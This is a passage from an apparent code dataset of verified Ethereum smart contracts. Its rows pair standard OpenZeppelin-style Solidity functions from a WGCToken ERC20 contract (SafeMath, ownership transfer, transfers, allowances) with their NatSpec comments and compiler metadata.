function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | _transferOwnership | function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
| /**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
1343,
1521
]
} | 6,927 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
89,
483
]
} | 6,928 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
567,
858
]
} | 6,929 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
| /**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
972,
1094
]
} | 6,930 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
1158,
1293
]
} | 6,931 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view returns (uint256) {
return totalSupply_;
}
| /**
* @dev Total number of tokens in existence
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
217,
305
]
} | 6,932 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
| /**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
463,
795
]
} | 6,933 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
1001,
1105
]
} | 6,934 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
| /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
401,
891
]
} | 6,935 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
1517,
1712
]
} | 6,936 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
2036,
2201
]
} | 6,937 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://92353f8a82caa9ac5a665088fb9895f2cd667611b14e68cbfe9c31be1e8f3885 | {
"func_code_index": [
2661,
2971
]
} | 6,938 |
|
WGCToken | WGCToken.sol | 0x4564355e3620090c53457a8700b9d530b53c1201 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | decreaseApproval | function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
